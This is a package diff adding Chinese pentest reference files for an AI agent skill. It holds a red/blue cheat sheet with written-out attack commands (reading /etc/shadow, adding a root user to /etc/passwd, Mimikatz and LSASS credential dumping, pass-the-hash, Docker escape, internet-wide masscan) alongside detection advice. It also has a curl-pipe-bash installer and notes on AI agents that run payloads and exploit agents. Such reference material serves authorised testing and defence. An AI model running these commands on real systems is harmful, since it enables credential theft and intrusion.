opencode-skills-collection 4.0.43 → 4.0.44

package/bundled-skills/pentest-tools/references/network-attack-defense.md

@@ -0,0 +1,350 @@
+# 网络攻击与防御速查
+
+> 覆盖网络层攻击技术、内网渗透、横向移动、权限提升、持久化、以及对应的防御检测方法。
+> 面向红队攻击和蓝队防御双视角。
+
+---
+
+## 网络侦察
+
+### 主动侦察
+
+```bash
+# 端口扫描（Nmap）
+nmap -sV -sC -O -p- target              # 全端口+服务+OS
+nmap -sU --top-ports 100 target          # UDP 扫描
+nmap --script vuln target                # 漏洞脚本扫描
+nmap -sn 192.168.1.0/24                  # 存活主机发现
+
+# 快速扫描（Masscan）
+masscan -p1-65535 target --rate=10000    # 高速全端口
+masscan -p80,443,8080 0.0.0.0/0 --rate=100000  # 全网特定端口
+
+# 服务指纹
+nmap -sV --version-intensity 5 target
+```
+
+### 被动侦察
+
+```bash
+# DNS 信息
+dig target.com ANY
+dig target.com AXFR @ns1.target.com      # 区域传送
+host -t mx target.com
+nslookup -type=TXT target.com
+
+# 证书透明度
+curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value'
+
+# WHOIS
+whois target.com
+
+# Shodan/Censys/FOFA
+shodan search "hostname:target.com"
+```
+
+### 防御检测
+
+```text
+□ IDS/IPS 规则：检测端口扫描模式（SYN flood、半开连接）
+□ 防火墙日志：异常源 IP 的大量连接尝试
+□ 蜜罐：部署在非业务端口，检测扫描行为
+□ 网络流量基线：偏离正常流量模式的告警
+```
+
+---
+
+## 内网渗透
+
+### 初始访问后信息收集
+
+```bash
+# Windows 内网信息
+ipconfig /all
+net user /domain
+net group "Domain Admins" /domain
+nltest /dclist:
+systeminfo
+tasklist /v
+netstat -ano
+
+# Linux 内网信息
+ifconfig / ip addr
+cat /etc/passwd
+cat /etc/shadow
+ss -tlnp
+ps aux
+find / -perm -4000 2>/dev/null    # SUID 文件
+```
+
+### 横向移动
+
+| 技术 | 工具 | 命令 |
+|------|------|------|
+| Pass-the-Hash | Impacket | `psexec.py -hashes :NTLM_HASH admin@target` |
+| Pass-the-Ticket | Mimikatz | `kerberos::ptt ticket.kirbi` |
+| WMI 执行 | Impacket | `wmiexec.py admin:pass@target "whoami"` |
+| SMB 执行 | Impacket | `smbexec.py admin:pass@target` |
+| WinRM | Evil-WinRM | `evil-winrm -i target -u admin -p pass` |
+| RDP | xfreerdp | `xfreerdp /v:target /u:admin /p:pass` |
+| SSH 隧道 | ssh | `ssh -L 8080:internal:80 user@pivot` |
+| SOCKS 代理 | Chisel | `chisel server -p 8080 --socks5` |
+
+### 防御检测
+
+```text
+□ 监控异常登录：非工作时间、异常源 IP、失败次数
+□ 检测 PtH：Event ID 4624 Type 3 + NTLM 认证
+□ 检测横向移动：Event ID 4648（显式凭证登录）
+□ 网络分段：限制工作站间直接通信
+□ LAPS：本地管理员密码随机化
+□ 特权访问工作站（PAW）：隔离管理操作
+```
+
+---
+
+## 权限提升
+
+### Windows 提权
+
+| 技术 | 检测/利用 |
+|------|---------|
+| 未引用服务路径 | `wmic service get name,pathname \| findstr /v "C:\Windows"` |
+| 弱服务权限 | `accesschk.exe -uwcqv "Authenticated Users" *` |
+| AlwaysInstallElevated | `reg query HKLM\...\Installer /v AlwaysInstallElevated` |
+| 令牌模拟 | `whoami /priv` → SeImpersonatePrivilege → Potato |
+| DLL 劫持 | Process Monitor 监控 DLL 加载失败 |
+| 计划任务 | `schtasks /query /fo LIST /v` |
+| 自动运行 | `reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` |
+
+### Linux 提权
+
+| 技术 | 检测/利用 |
+|------|---------|
+| SUID 二进制 | `find / -perm -4000 2>/dev/null` → GTFOBins |
+| sudo 配置 | `sudo -l` → 可利用的 NOPASSWD 命令 |
+| Cron 任务 | `cat /etc/crontab` + `ls -la /etc/cron.*` |
+| 内核漏洞 | `uname -r` → searchsploit |
+| 可写 /etc/passwd | `echo 'root2:$1$...:0:0::/root:/bin/bash' >> /etc/passwd` |
+| Docker 逃逸 | `docker run -v /:/host --privileged` |
+| Capabilities | `getcap -r / 2>/dev/null` |
+
+### 自动化工具
+
+```bash
+# Windows
+winPEAS.exe
+PowerUp.ps1 → Invoke-AllChecks
+Seatbelt.exe -group=all
+
+# Linux
+linpeas.sh
+linux-exploit-suggester.sh
+pspy    # 监控进程（无需 root）
+```
+
+### 防御检测
+
+```text
+□ 最小权限原则：服务账户不给管理员权限
+□ 定期审计 SUID/sudo/计划任务
+□ 监控特权操作：Event ID 4672（特殊权限分配）
+□ 应用白名单：AppLocker / WDAC
+□ 内核补丁：及时更新
+```
+
+---
+
+## 凭证获取
+
+### Windows 凭证
+
+```bash
+# Mimikatz
+sekurlsa::logonpasswords        # 内存中的明文密码
+sekurlsa::wdigest               # WDigest 密码
+lsadump::sam                    # SAM 数据库
+lsadump::dcsync /user:admin     # DCSync 攻击
+
+# 注册表
+reg save HKLM\SAM sam.hiv
+reg save HKLM\SYSTEM system.hiv
+# → secretsdump.py -sam sam.hiv -system system.hiv LOCAL
+
+# LSASS Dump
+procdump.exe -ma lsass.exe lsass.dmp
+# → pypykatz lsa minidump lsass.dmp
+```
+
+### Kerberos 攻击
+
+| 攻击 | 工具 | 说明 |
+|------|------|------|
+| Kerberoasting | Impacket | `GetUserSPNs.py domain/user:pass -dc-ip DC` |
+| AS-REP Roasting | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
+| Golden Ticket | Mimikatz | 需要 krbtgt hash |
+| Silver Ticket | Mimikatz | 需要服务账户 hash |
+| Delegation 滥用 | Impacket | 约束/非约束委派利用 |
+
+### 防御检测
+
+```text
+□ 启用 Credential Guard（保护 LSASS）
+□ 禁用 WDigest（防止明文密码缓存）
+□ 监控 LSASS 访问：Sysmon Event ID 10
+□ 检测 Kerberoasting：Event ID 4769 + RC4 加密
+□ 检测 DCSync：Event ID 4662 + DS-Replication-Get-Changes
+□ 强密码策略 + MFA
+□ 定期轮换 krbtgt 密码
+```
+
+---
+
+## 持久化
+
+### Windows 持久化
+
+| 技术 | 位置/方法 |
+|------|---------|
+| 注册表 Run 键 | `HKCU\...\Run` |
+| 计划任务 | `schtasks /create` |
+| 服务 | `sc create` |
+| WMI 事件订阅 | `__EventFilter` + `CommandLineEventConsumer` |
+| DLL 劫持 | 替换合法 DLL |
+| COM 劫持 | 修改 CLSID 注册表 |
+| Startup 文件夹 | `%APPDATA%\...\Startup\` |
+| Golden Ticket | krbtgt hash → 永久域访问 |
+
+### Linux 持久化
+
+| 技术 | 位置/方法 |
+|------|---------|
+| Cron 任务 | `/etc/crontab`、`/var/spool/cron/` |
+| SSH 密钥 | `~/.ssh/authorized_keys` |
+| bashrc/profile | `~/.bashrc` 添加反弹 shell |
+| Systemd 服务 | `/etc/systemd/system/` |
+| LD_PRELOAD | `/etc/ld.so.preload` |
+| PAM 后门 | 修改 `pam_unix.so` |
+| Rootkit | 内核模块 / eBPF |
+
+### 防御检测
+
+```text
+□ 监控自启动位置变更（Autoruns / osquery）
+□ 文件完整性监控（AIDE / Tripwire / Sysmon）
+□ 定期审计计划任务和服务
+□ 检测异常 SSH 密钥添加
+□ EDR 行为检测：异常进程创建链
+□ 网络检测：异常外连（C2 通信特征）
+```
+
+---
+
+## C2 通信与检测
+
+### 常见 C2 框架
+
+| 框架 | 特点 | 检测难度 |
+|------|------|---------|
+| Cobalt Strike | 商业级，Beacon 协议 | 中（有签名） |
+| Sliver | 开源，Go 编写 | 中 |
+| Havoc | 现代 C2，规避能力强 | 高 |
+| Mythic | 模块化，多 Agent | 中 |
+| Metasploit | 经典，Meterpreter | 低（签名多） |
+
+### C2 通信检测
+
+```text
+□ DNS 隧道：异常长域名、高频 TXT 查询、非常规子域名
+□ HTTP C2：固定间隔请求、异常 User-Agent、非标准端口 HTTPS
+□ 域前置：CDN 域名但实际通信到 C2
+□ 加密流量分析：JA3/JA3S 指纹、证书异常
+□ 行为检测：进程注入、异常父子进程关系
+□ 内存检测：无文件恶意代码（反射 DLL、shellcode）
+```
+
+---
+
+## 防御体系建设
+
+### 网络层
+
+```text
+□ 网络分段（VLAN + 防火墙规则）
+□ 零信任架构（不信任内网流量）
+□ IDS/IPS 部署（Suricata / Snort）
+□ 全流量记录（Zeek / Arkime）
+□ DNS 安全（DNS over HTTPS + 恶意域名拦截）
+□ 出口流量监控（检测 C2 外连）
+```
+
+### 终端层
+
+```text
+□ EDR 部署（CrowdStrike / Defender for Endpoint / Elastic）
+□ 应用白名单（AppLocker / WDAC）
+□ 补丁管理（WSUS / SCCM）
+□ 最小权限（移除本地管理员）
+□ 日志集中（Sysmon + Windows Event Forwarding）
+□ 磁盘加密（BitLocker）
+```
+
+### 身份层
+
+```text
+□ MFA 全覆盖（特别是 VPN/RDP/管理后台）
+□ 特权访问管理（PAM）
+□ 条件访问策略
+□ 密码策略（长度 > 复杂度）
+□ 服务账户管理（gMSA）
+□ 定期凭证轮换
+```
+
+### 检测与响应
+
+```text
+□ SIEM 部署（Splunk / Elastic / Sentinel）
+□ SOAR 自动化响应
+□ 威胁情报集成（MISP / OpenCTI）
+□ 红蓝对抗演练
+□ 应急响应预案（IR Playbook）
+□ 取证能力（内存取证 + 磁盘取证 + 网络取证）
+```
+
+---
+
+## MITRE ATT&CK 映射
+
+| 战术 | 本文覆盖的技术 |
+|------|--------------|
+| Reconnaissance | 端口扫描、DNS 枚举、证书透明度 |
+| Initial Access | Web 漏洞利用、钓鱼、暴力破解 |
+| Execution | 命令注入、WMI、PowerShell |
+| Persistence | 注册表、计划任务、SSH 密钥、服务 |
+| Privilege Escalation | SUID、Potato、内核漏洞、DLL 劫持 |
+| Defense Evasion | 进程注入、无文件、混淆 |
+| Credential Access | Mimikatz、Kerberoasting、DCSync |
+| Discovery | 内网信息收集、AD 枚举 |
+| Lateral Movement | PtH、WMI、SMB、RDP |
+| Collection | 数据库导出、文件收集 |
+| C2 | HTTP/DNS 隧道、域前置 |
+| Exfiltration | DNS 外带、HTTP 上传、云存储 |
+
+---
+
+## 工具速查
+
+| 工具 | 用途 | 链接 |
+|------|------|------|
+| Nmap | 端口扫描 | https://nmap.org/ |
+| Impacket | Windows 协议利用 | https://github.com/fortra/impacket |
+| Mimikatz | 凭证提取 | https://github.com/gentilkiwi/mimikatz |
+| BloodHound | AD 攻击路径 | https://github.com/BloodHoundAD/BloodHound |
+| CrackMapExec | 内网瑞士军刀 | https://github.com/byt3bl33d3r/CrackMapExec |
+| Chisel | TCP 隧道 | https://github.com/jpillora/chisel |
+| Ligolo-ng | 隧道代理 | https://github.com/nicocha30/ligolo-ng |
+| Evil-WinRM | WinRM Shell | https://github.com/Hackplayers/evil-winrm |
+| LinPEAS/WinPEAS | 提权枚举 | https://github.com/carlospolop/PEASS-ng |
+| Responder | LLMNR/NBT-NS 毒化 | https://github.com/lgandx/Responder |
+| Kerbrute | Kerberos 枚举 | https://github.com/ropnop/kerbrute |
+| Rubeus | Kerberos 攻击 | https://github.com/GhostPack/Rubeus |

package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md

@@ -0,0 +1,157 @@
+# Nuclei 实战指南（2026 版）
+
+> 来源：[ProjectDiscovery 官方文档](https://docs.projectdiscovery.io/) + [nuclei-templates](https://github.com/projectdiscovery/nuclei-templates)（2026）
+> 适用场景：漏洞扫描、自定义检测模板编写、Bug Bounty 自动化
+
+## 概述
+
+Nuclei 是基于模板的快速漏洞扫描器。截至 2026 年：
+- 9000+ 社区模板
+- 100,000+ 安全工程师贡献
+- 支持 HTTP/DNS/TCP/SSL/文件/代码等多种协议
+- 已集成到 Kali 官方仓库（`apt install nuclei`）
+
+## 快速使用
+
+```bash
+# 安装（Kali）
+apt install nuclei
+# 或最新版
+go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
+
+# 更新模板
+nuclei -update-templates
+
+# 基础扫描
+nuclei -u https://target.com
+
+# 指定严重级别
+nuclei -u https://target.com -severity critical,high
+
+# 指定模板类别
+nuclei -u https://target.com -tags cve,sqli,xss,ssrf
+
+# 批量目标
+nuclei -l urls.txt -severity critical,high -o results.txt
+
+# 配合 httpx 使用（推荐）
+cat subdomains.txt | httpx -silent | nuclei -severity critical,high
+```
+
+## 自定义模板编写
+
+### 基础结构
+
+```yaml
+id: custom-check-id
+
+info:
+  name: Custom Vulnerability Check
+  author: your-name
+  severity: high
+  description: Description of what this checks
+  tags: custom,webapp
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/vulnerable-endpoint"
+    matchers:
+      - type: word
+        words:
+          - "sensitive_data"
+        condition: and
+      - type: status
+        status:
+          - 200
+```
+
+### 最佳实践
+
+1. **ID 命名**：使用 `vendor-product-vulnerability` 格式
+2. **严重级别**：严格按 CVSS 评分对应（critical/high/medium/low/info）
+3. **Matcher 精确**：避免误报，组合多个 matcher
+4. **提取器**：用 extractor 提取关键证据
+5. **条件组合**：用 `condition: and` 减少误报
+
+### 高级模板示例（SSTI 检测）
+
+```yaml
+id: ssti-detection
+
+info:
+  name: Server-Side Template Injection
+  author: security-team
+  severity: high
+  tags: ssti,injection
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?q={{url_encode('{{7*7}}')}}"
+      - "{{BaseURL}}/?search={{url_encode('${7*7}')}}"
+    matchers:
+      - type: word
+        words:
+          - "49"
+        part: body
+    extractors:
+      - type: regex
+        regex:
+          - "49"
+        part: body
+```
+
+## 与 AI 结合使用
+
+### AI 生成 Nuclei 模板
+
+当发现新漏洞模式时，可以让 AI 自动生成 Nuclei 模板：
+
+```
+用户：我发现 /api/v1/users 端点存在 IDOR，通过修改 user_id 参数可以访问其他用户数据
+AI：[生成对应的 Nuclei 模板]
+```
+
+### Pentest Swarm AI 集成
+
+Pentest Swarm AI 原生集成 Nuclei，在 swarm 模式下：
+1. Recon agent 发现子域名和端点
+2. Classifier agent 用 Nuclei 模板扫描
+3. 高 pheromone 的发现触发 Exploit agent
+
+### 推荐模板仓库
+
+| 仓库 | 内容 | 链接 |
+|------|------|------|
+| projectdiscovery/nuclei-templates | 官方 9000+ 模板 | [GitHub](https://github.com/projectdiscovery/nuclei-templates) |
+| 0xKayala/Custom-Nuclei-Templates | 社区精选 | [GitHub](https://github.com/0xKayala/Custom-Nuclei-Templates) |
+| emadshanab/Nuclei-Templates-Collection | 大型集合 | [GitHub](https://github.com/emadshanab/Nuclei-Templates-Collection) |
+
+## 常用命令速查
+
+```bash
+# 扫描单个目标
+nuclei -u https://target.com -severity critical,high
+
+# 使用自定义模板
+nuclei -u https://target.com -t ~/custom-templates/
+
+# 输出 JSON（便于后续处理）
+nuclei -u https://target.com -json -o results.json
+
+# 限速（避免被 WAF 拦截）
+nuclei -u https://target.com -rate-limit 10 -bulk-size 5
+
+# 使用代理
+nuclei -u https://target.com -proxy http://127.0.0.1:8080
+
+# 排除特定模板
+nuclei -u https://target.com -exclude-tags dos,fuzz
+
+# 新模板检测（只跑最近添加的）
+nuclei -u https://target.com -new-templates
+
+# 配合 subfinder + httpx 全流程
+subfinder -d target.com -silent | httpx -silent | nuclei -severity critical,high -o report.txt
+```

package/bundled-skills/pentest-tools/references/payloads.md

@@ -0,0 +1,32 @@
+# 自定义 Payload 目录
+
+本目录用于存放你自己积累的高效 payload。AI 在执行渗透测试时会优先使用这里的 payload，再去尝试通用 payload。
+
+## 建议的文件组织
+
+```
+payloads/
+├── sql-injection/        # SQL 注入 payload
+│   ├── mysql-union.txt
+│   ├── mssql-stacked.txt
+│   └── blind-time.txt
+├── xss/                  # XSS payload
+│   ├── reflected.txt
+│   └── dom-based.txt
+├── ssrf/                 # SSRF payload
+├── lfi-rfi/              # 文件包含
+├── auth-bypass/          # 认证绕过
+├── command-injection/    # 命令注入
+└── custom/               # 其他自定义
+```
+
+## 使用规则
+
+- AI 测试时先用本目录的 payload，再用 SecLists 通用字典
+- 每次发现新的有效 payload，回写到对应目录
+- 文件名要有描述性，不要用 `1.txt`、`test.txt`
+
+## 自动补充
+
+如果本目录为空，AI 会自动从 SecLists 中提取常用 payload 子集放入。
+如果 SecLists 未安装，bootstrap 会自动下载。

package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md

@@ -0,0 +1,117 @@
+# pentest-ai-agents 覆盖矩阵
+
+> ⚠️ Security notice: examples below may include download-and-execute patterns, shown for defensive understanding and authorized testing only. Never run them against systems you do not own.
+
+
+> 参考自 [0xSteph/pentest-ai-agents](https://github.com/0xSteph/pentest-ai-agents)（1.3k stars，MIT）
+> 35 个 Claude Code 渗透子 agent 的能力映射。可作为我们 pentest-tools skill 的方法论参考。
+
+---
+
+## 安装方式（外部可选）
+
+```bash
+curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash  # security-allowlist: curl-pipe-bash
+```
+
+或者只参考其 prompt 模式，不实际安装。
+
+---
+
+## Agent 覆盖矩阵
+
+### 攻击类（Tier 1 咨询 + Tier 2 执行）
+
+| Agent | 覆盖领域 | 核心工具 | 对应我们的 skill |
+|-------|---------|---------|-----------------|
+| engagement-planner | 渗透计划/ROE/ATT&CK 映射 | — | pentest-tools |
+| recon-advisor | 信息收集/目标优先级 | nmap, masscan, subfinder, httpx | pentest-tools |
+| osint-collector | OSINT/邮箱/社交/泄露 | theHarvester, sherlock, holehe | pentest-tools |
+| vuln-scanner | 漏洞扫描 | nuclei, nikto, RouterSploit | pentest-tools |
+| web-hunter | Web 渗透 | ffuf, sqlmap, dalfox, Commix | pentest-tools |
+| api-security | API 安全 | OWASP API Top 10, JWT, OAuth | pentest-tools / js-reverse |
+| ad-attacker | AD 攻击 | BloodHound, Impacket, Certipy | pentest-tools |
+| credential-tester | 密码破解 | Hashcat, John, Hydra, CeWL | pentest-tools |
+| cloud-security | 云渗透 | aws/az/gcloud, Prowler, Pacu | pentest-tools |
+| mobile-pentester | 移动端 | Frida, Objection, jadx, MobSF | apk-reverse |
+| wireless-pentester | 无线 | aircrack-ng, bettercap, wifite | pentest-tools |
+| social-engineer | 社工 | GoPhish, Evilginx | pentest-tools |
+| payload-crafter | Payload 生成 | msfvenom, Donut | pentest-tools |
+| reverse-engineer | 逆向 | Ghidra, Radare2, JadX, Binwalk | ida-reverse / radare2 |
+| phishing-operator | 钓鱼基础设施 | Evilginx, GoPhish, dnstwist | pentest-tools |
+| exploit-chainer | 攻击链组合 | 多步骤链式利用 | pentest-tools |
+| poc-validator | PoC 验证 | 安全执行验证脚本 | pentest-tools |
+| bug-bounty | Bug Bounty | HackerOne/Bugcrowd 方法论 | pentest-tools |
+| bizlogic-hunter | 业务逻辑漏洞 | 价格篡改/竞态条件 | pentest-tools / js-reverse |
+| cicd-redteam | CI/CD 攻击 | GitHub Actions, GitLab CI | pentest-tools |
+| c2-operator | C2 操作 | Sliver, Mythic, Havoc | pentest-tools |
+| container-breakout | 容器逃逸 | Docker/K8s escape, runc CVE | pentest-tools |
+| opsec-anonymizer | 操作安全 | 身份隐匿/指纹管理 | pentest-tools |
+| llm-redteam | AI/LLM 红队 | Garak, PyRIT, Promptfoo | pentest-tools |
+| attack-planner | 攻击路径规划 | ATT&CK 映射/链评分 | pentest-tools |
+| swarm-orchestrator | 多 agent 协调 | 并行工作流 | — |
+
+### 防御/分析类
+
+| Agent | 覆盖领域 | 核心工具 | 对应我们的 skill |
+|-------|---------|---------|-----------------|
+| detection-engineer | 检测规则 | Sigma, Splunk SPL, KQL | — |
+| threat-modeler | 威胁建模 | STRIDE/DREAD | — |
+| forensics-analyst | 取证 | Volatility 3, Autopsy, YARA | CTF-Sandbox-Orchestrator |
+| malware-analyst | 恶意软件分析 | Volatility, YARA, Wireshark | reverse-engineering |
+| stig-analyst | 合规审计 | DISA STIG | — |
+
+### 报告/学习类
+
+| Agent | 覆盖领域 | 对应我们的 skill |
+|-------|---------|-----------------|
+| report-generator | 渗透报告 | docs-generator |
+| ctf-solver | CTF 解题 | CTF-Sandbox-Orchestrator |
+
+---
+
+## 关键设计模式（可复用）
+
+### 1. Tier 1 / Tier 2 分层
+
+- **Tier 1（咨询）**：AI 只给建议和分析，用户自己执行命令
+- **Tier 2（执行）**：AI 可以直接执行命令，但每步需要用户确认
+
+这个模式适合我们的 pentest-tools skill——默认 Tier 1，用户明确授权后升级到 Tier 2。
+
+### 2. Scope Guard（范围守卫）
+
+每个 Tier 2 agent 执行前都会验证目标是否在授权范围内。硬拒绝列表：
+- DoS 攻击
+- 大规模无差别扫描
+- 自动蠕虫
+- 假旗操作
+- 影响生命安全的系统
+
+### 3. Findings Database
+
+用 SQLite 持久化存储发现的漏洞，跨会话保持。类似我们的 field-journal 但更结构化。
+
+### 4. /recommend 路由
+
+用户输入自由文本描述任务，AI 自动路由到最合适的 agent。这和我们的路由矩阵是同一个思路。
+
+---
+
+## 与我们的包的互补关系
+
+| 他们有我们没有 | 建议 |
+|--------------|------|
+| AD 攻击专项 agent | 可以在 pentest-tools 中加 AD 攻击参考 |
+| 检测工程（Sigma/SPL/KQL） | 未来可新增 detection-engineering skill |
+| 威胁建模（STRIDE/DREAD） | 可集成到 docs-generator 的报告模板 |
+| C2 操作 | 暂不集成（需要实际 C2 框架） |
+| LLM 红队 | 新兴领域，未来可新增 |
+
+| 我们有他们没有 | 优势 |
+|--------------|------|
+| 按需自举（bootstrap） | 他们需要手动装工具 |
+| 自动进化（field-journal） | 他们没有经验沉淀 |
+| 跨版本符号迁移（binary-diff） | 他们没有 |
+| 浏览器/桌面自动化 | 他们没有 |
+| 图表生成 | 他们没有 |